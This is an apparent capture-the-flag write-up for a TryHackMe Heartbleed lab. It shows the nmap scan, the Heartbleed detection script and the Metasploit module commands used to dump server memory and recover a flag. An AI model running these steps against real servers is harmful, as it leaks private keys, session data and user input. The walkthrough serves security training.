The objective of this project was to assess a remote host for the Heartbleed vulnerability (CVE-2014-0160), verify its presence, and exploit it to extract potentially sensitive information from server memory over the TLS protocol.Objective
The objective of this project was to assess a remote host for the Heartbleed vulnerability (CVE-2014-0160), verify its presence, and exploit it to extract potentially sensitive information from server memory over the TLS protocol.
Execution
1. Identifying Open Services (Nmap)
nmap -sC -sV 52.215.184.158
Result:
plaintext
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4
111/tcp open rpcbind 2-4
443/tcp open ssl/http nginx 1.15.7
| ssl-cert: Subject: CN=localhost/O=TryHackMe/ST=London/C=UK
| Not valid before: 2019-02-16T10:41:14
| Not valid after: 2020-02-16T10:41:14
The TLS certificate was self-signed and expired. This raised suspicion that the OpenSSL version could be outdated. Target port: 443.
2. Heartbleed Vulnerability Check (Nmap Script)
nmap -p 443 --script ssl-heartbleed 52.215.184.158
Result:
plaintext
| ssl-heartbleed:
| VULNERABLE:
| OpenSSL 1.0.1 is vulnerable to Heartbleed
| State: VULNERABLE
| Risk factor: High
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
The target is confirmed vulnerable to Heartbleed.
3. Exploitation (Metasploit Framework)
msfconsole
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS 52.215.184.158
run
Result:
plaintext
[+] Heartbeat response with leak, 44883 bytes
[+] Heartbeat data stored in /root/.msf4/loot/20250627224930_default_52.215.184.158_openssl.heartble_152689.bin
Memory successfully dumped and stored locally for analysis.
4. Analyzing Memory Dump
strings openssl.heartble_152689.bin | grep -i "THM{"
Result:
plaintext
user_name=hacker101&user_email=haxor@haxor.com&user_message=THM{sSl-Is-BaD}
Confidential data, including an application flag, was successfully extracted from TLS memory — confirming the vulnerability can be practically exploited to leak sensitive information.
Conclusion
I successfully identified and exploited CVE-2014-0160 on a remote server. The process included:
Detecting the vulnerability with nmap
Exploiting the flaw using Metasploit
Extracting live user-submitted data (including the flag THM{sSl-Is-BaD}) from memory
Business Impact
The presence of Heartbleed in a publicly exposed system poses a critical risk:
Potential leakage of TLS private keys
Session hijacking
Exposure of usernames, emails, and sensitive user input
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